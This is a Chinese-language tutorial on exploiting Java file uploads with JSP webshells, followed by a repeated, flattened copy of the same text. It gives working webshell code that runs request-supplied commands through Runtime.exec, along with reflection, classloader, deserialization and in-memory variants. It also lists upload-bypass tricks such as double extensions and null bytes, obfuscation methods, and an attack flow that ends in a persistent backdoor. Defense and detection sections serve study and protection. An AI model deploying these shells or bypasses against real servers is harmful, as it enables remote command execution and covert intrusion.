Java 文件上传与JSP webshell
字数 1205 2025-08-07 00:35:04

Java 文件上传与JSP Webshell技术详解

一、Java文件上传基础

1. 文件上传核心机制

Java Web应用中文件上传通常通过以下方式实现:

  • Servlet 3.0+ APIPart接口处理multipart/form-data请求
  • Apache Commons FileUpload:传统处理方式
  • Spring MVCMultipartFile接口

2. 常见漏洞点

  • 未校验文件类型(仅前端校验)
  • 未限制文件扩展名
  • 上传目录可执行权限
  • 文件名未重命名或未过滤特殊字符

二、JSP Webshell实现方式

1. 直接命令执行

基础命令执行

<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>

改进版(获取输出)

<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
    out.println(line);
}
%>

反射调用方式

<%
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Object runtime = method.invoke(null);
Method execMethod = clazz.getMethod("exec", String.class);
Process process = (Process) execMethod.invoke(runtime, request.getParameter("cmd"));
// 处理输出...
%>

2. 类加载方式

定义恶意类

// EvilClass.java
public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

JSP中加载

<%
byte[] classBytes = Base64解码的恶意类字节码;
ClassLoader loader = new ClassLoader() {
    public Class define(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
};
Class evilClass = loader.define(classBytes);
%>

3. 反序列化利用

生成序列化payload

// 使用ysoserial等工具生成序列化payload
// java -jar ysoserial.jar CommonsCollections5 "calc" > payload.ser

JSP中反序列化

<%
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(Base64解码的序列化数据));
ois.readObject();
ois.close();
%>

三、高级绕过技术

1. 文件上传绕过

  • 双扩展名绕过shell.jsp.jpg
  • 大小写绕过shell.Jsp
  • 空格绕过shell.jsp
  • 特殊字符绕过shell.jsp%00.jpg
  • Content-Type绕过:修改为image/jpeg

2. Webshell混淆技术

字符串拆分

<%
String a = "Runt";
String b = "ime";
Class clazz = Class.forName("java.lang." + a + b);
%>

十六进制编码

<%= Runtime.getRuntime().exec("\x63\x61\x6c\x63") %>

Base64编码

<%
String cmd = new String(Base64.getDecoder().decode("Y2FsYw=="));
Runtime.getRuntime().exec(cmd);
%>

四、防御措施

1. 文件上传防护

  • 白名单校验文件扩展名
  • 校验文件内容魔数
  • 上传目录设置为不可执行
  • 文件重命名(UUID等)
  • 使用安全框架(如Apache FileUpload的安全配置)

2. Webshell防护

  • 禁用JSP脚本表达式(web.xml配置)
  • 部署RASP防护
  • 文件监控(校验关键目录文件变更)
  • 禁用危险Java类(通过SecurityManager)
  • 定期扫描Web目录

五、检测与排查

1. Webshell特征检测

  • 常见危险函数调用:Runtime.exec, ProcessBuilder
  • 反射调用特征:Class.forName, Method.invoke
  • 类加载特征:defineClass, ClassLoader
  • 反序列化特征:ObjectInputStream

2. 排查工具

  • 静态分析工具:FindBugs, Fortify
  • 动态分析工具:RASP, 流量监控
  • 专用检测工具:河马Webshell查杀, D盾

六、实战案例

1. 文件上传+JSP Webshell组合攻击流程

  1. 寻找文件上传点
  2. 绕过前端校验上传JSP文件
  3. 访问上传的JSP文件执行系统命令
  4. 建立持久化后门

2. 内存Webshell技术

<%
// 通过类字节码注册Filter/Servlet等组件
ServletContext context = request.getServletContext();
Field f = context.getClass().getDeclaredField("context");
f.setAccessible(true);
// 进一步操作注册内存马...
%>

附录:参考资源

  1. 三梦师傅GitHub项目
  2. OWASP文件上传指南
  3. Java安全编码规范
  4. ysoserial反序列化工具

以上内容完整涵盖了Java文件上传漏洞利用和JSP Webshell实现的关键技术点,包括基础实现、高级绕过、防御措施和检测方法,可作为完整的学习和参考文档使用。

Java 文件上传与JSP Webshell技术详解 一、Java文件上传基础 1. 文件上传核心机制 Java Web应用中文件上传通常通过以下方式实现: Servlet 3.0+ API : Part 接口处理multipart/form-data请求 Apache Commons FileUpload :传统处理方式 Spring MVC : MultipartFile 接口 2. 常见漏洞点 未校验文件类型(仅前端校验) 未限制文件扩展名 上传目录可执行权限 文件名未重命名或未过滤特殊字符 二、JSP Webshell实现方式 1. 直接命令执行 基础命令执行 改进版(获取输出) 反射调用方式 2. 类加载方式 定义恶意类 JSP中加载 3. 反序列化利用 生成序列化payload JSP中反序列化 三、高级绕过技术 1. 文件上传绕过 双扩展名绕过 : shell.jsp.jpg 大小写绕过 : shell.Jsp 空格绕过 : shell.jsp 特殊字符绕过 : shell.jsp%00.jpg Content-Type绕过 :修改为 image/jpeg 2. Webshell混淆技术 字符串拆分 十六进制编码 Base64编码 四、防御措施 1. 文件上传防护 白名单校验文件扩展名 校验文件内容魔数 上传目录设置为不可执行 文件重命名(UUID等) 使用安全框架(如Apache FileUpload的安全配置) 2. Webshell防护 禁用JSP脚本表达式(web.xml配置) 部署RASP防护 文件监控(校验关键目录文件变更) 禁用危险Java类(通过SecurityManager) 定期扫描Web目录 五、检测与排查 1. Webshell特征检测 常见危险函数调用: Runtime.exec , ProcessBuilder 反射调用特征: Class.forName , Method.invoke 类加载特征: defineClass , ClassLoader 反序列化特征: ObjectInputStream 2. 排查工具 静态分析工具:FindBugs, Fortify 动态分析工具:RASP, 流量监控 专用检测工具:河马Webshell查杀, D盾 六、实战案例 1. 文件上传+JSP Webshell组合攻击流程 寻找文件上传点 绕过前端校验上传JSP文件 访问上传的JSP文件执行系统命令 建立持久化后门 2. 内存Webshell技术 附录:参考资源 三梦师傅GitHub项目 OWASP文件上传指南 Java安全编码规范 ysoserial反序列化工具 以上内容完整涵盖了Java文件上传漏洞利用和JSP Webshell实现的关键技术点,包括基础实现、高级绕过、防御措施和检测方法,可作为完整的学习和参考文档使用。